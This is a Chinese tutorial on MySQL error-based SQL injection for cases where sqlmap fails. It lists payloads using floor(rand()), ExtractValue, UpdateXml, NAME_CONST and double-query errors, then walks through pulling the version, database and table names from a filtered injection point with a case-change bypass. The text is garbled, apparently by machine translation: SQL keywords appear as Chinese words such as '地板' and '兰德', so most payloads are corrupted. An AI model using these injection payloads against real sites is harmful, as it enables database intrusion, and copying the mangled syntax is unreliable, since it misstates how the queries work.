SQL注入之mysql显错注入

,,,,在我们实际* * *中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

 SQL注入之mysql显错注入

图1获取数据库失败

,,,,此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

,,,,通过地板报错:

以及select  1,得到(select  count (*), concat(版本(),地板(兰德(0)* 2))x 得到information_schema.tables  group  by  x)) 以及(select  count(*),得到(select  1, union  select  null  union  select , ! 1) x  group  by  concat (()) (select 版本,地板(兰德(0)* 2)))

,,,,通过ExtractValue报错:

以及ExtractValue (1, concat (0 x7f,, (select 版本()),0 x7f))

,,,,通过UpdateXml报错:

以及1=(UpdateXml (1, concat (0 x7f (select 版本()),0 x7f), 1))

,,,,通过NAME_CONST报错:

以及1=(select  *,得到(select  NAME_CONST(版本(),1),NAME_CONST(版本(),1)),as  x)

,,通过错误的双重查询:

一、1,group  by  concat_ws (0 x7f,版本(),地板(兰德(0)* 2)),having 最小值(0),或1

,,,,在这里我们以UpdateXml报错进行实战演示,如图2所示是一个显错注入点。

 sql注入之mysql显错注入

图2显错注入点

,,,,此时我们将通过UpdateXml来进行sql注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

 sql注入之mysql显错注入

图3获取数据库版本信息

,,,,获取数据库名,如图4所示。

 sql注入之mysql显错注入

图4获取数据名

,,,,获取表名,如图5所示。

 sql注入之mysql显错注入

图5获取表名

,,,,后续操作请参考文章《mysql手工注入》,这里不再进行累赘!

SQL注入之mysql显错注入